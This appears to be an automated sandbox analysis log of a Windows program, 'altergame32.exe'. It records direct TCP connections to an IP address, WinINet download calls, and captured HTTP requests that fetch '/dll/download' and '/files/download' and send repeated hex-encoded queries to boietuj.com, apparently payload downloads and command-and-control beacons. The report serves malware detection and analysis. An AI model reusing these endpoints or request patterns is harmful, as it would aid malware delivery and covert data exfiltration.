Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.72.65

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Code function: 6_2_02E472AB Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,InternetOpenA,InternetSetOptionA,InternetSetOptionA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_strtok,_swscanf,_strtok,_free,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,_sprintf,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_free,

6_2_02E472AB

Source: global traffic	HTTP traffic detected: GET /add?substr=mixeleven&s=three&sub=nosub HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90 HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90 HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
